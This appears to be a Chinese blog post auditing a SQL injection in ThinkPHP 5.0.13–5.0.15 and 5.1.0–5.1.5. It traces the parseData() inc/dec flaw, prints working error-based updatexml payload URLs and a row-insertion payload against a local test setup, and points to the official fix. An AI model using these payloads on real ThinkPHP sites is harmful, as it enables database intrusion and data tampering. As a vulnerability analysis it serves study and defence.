ThinkPHP5.0.15代码审计【SQL注入】

本文详细分析了ThinkPHP5版本中因parseData()方法处理数组参数时存在的SQL注入漏洞,通过示例payload展示了如何利用该漏洞执行恶意SQL。修复方案是通过增加对$key是否等于$val[1]的检查,避免了注入风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

parseData() 这个方法中出现对dec、inc两种情况的考虑不周从而拼接导致的SQL注入(Insert方法注入)
漏洞利用版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

环境搭建

到官网下载TP 5.0.15的源码

新建一个数据库,这里我建立了一个tpdemo库,其中有个users表

composer.json填写版本
在这里插入图片描述
application/index/controller/Index.php中配置:

public function index()//控制方法
{
   $username = request()->get('username/a');
   db('users')->insert(['username'=>$username]);
   return 'Update success';
}

application/database.php配置数据库信息
在这里插入图片描述
application/config.php开启调试模式

'app_debug'              => true,
'app_trace'              => true,

先给出payload:

http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 

在这里插入图片描述

分析

在这里插入图片描述

首先看index控制器,username这个参数要接收数组形式!所以我们写成了get('username/a'),注意后面的/a就是要求传入数组形式。数组形式是后面利用的前提。

$username经过 request()->get('username/a');后得到一个数组:
在这里插入图片描述

接着进入 insert()方法,会跳转到thinkphp/library/think/db/Query.php的insert()方法
在insert方法中主要是这几行代码:分析了我们有用到什么表达式、将数据整合成一个数组$data,然后生成SQL语句并执行
在这里插入图片描述

$options = $this->parseExpress();实际得到我们的表名,其他的用不着
在这里插入图片描述
$data = array_merge($options['data'], $data);将参数数组 合并成一个数组
在这里插入图片描述
$sql = $this->builder->insert($data, $options, $replace);这是生成SQL语句的,但这行代码又调用了insert方法,这里看的时候有点疑惑$this->builder是哪个类的对象,看大佬说: Mysql 类继承于 Builder 类,即上面的 $this->builder->insert() 最终调用的是 Builder 类的 insert 方法。

既然这样我们跟进到thinkphp/library/think/db/Builder.php/下Builder 类的insert()方法看看如何生成SQL语句
在这里插入图片描述
先跟进看parseExpress()这个方法,其中$data的key值和value值都被赋值给相应变量,当$val是数组、且$val[0]是inc或者dec时就会进行拼接,返回$data=$val[1] + $val[2],而这个$data是我们insert进去的数据,因此可以想到在INSERT....VALUE()这个SQL语句VALUE()中插入我们的恶意数据!这也回应一开始为什么需要传入数组形式了
在这里插入图片描述

执行完parseData(),回到insert方法中此时的$dataupdatexml(1,concat(0x7,user(),0x7e),1)+1
在这里插入图片描述
然后通过str_replace()函数对既定表达式$insersql进行数据替换
在这里插入图片描述

最终SQL语句:
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)

既定INSERT语句:
'%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';

得到SQL语句后回退到thinkphp/library/think/db/Query.php,最后通过execute()执行就触发了SQL注入
在这里插入图片描述

payload:
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 

当然还可以不利用报错而是直接向数据库中插入数据:例如我们插入username为66的数据

payload:
username[0]=inc&username[1]=66),(1&username[2]=1 

SQL语句中:
INSERT INTO `users` (`username`) VALUES (66),(1+1)

七月火师傅的攻击流程图:
在这里插入图片描述

修复

我们到GitHub上看看官方是如何修复的:
https://github.com/top-think/framework/compare/v5.0.15...v5.0.16
找到Builder.php ,发现是在增加了检查了$key是否等于$val[1]的步骤
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值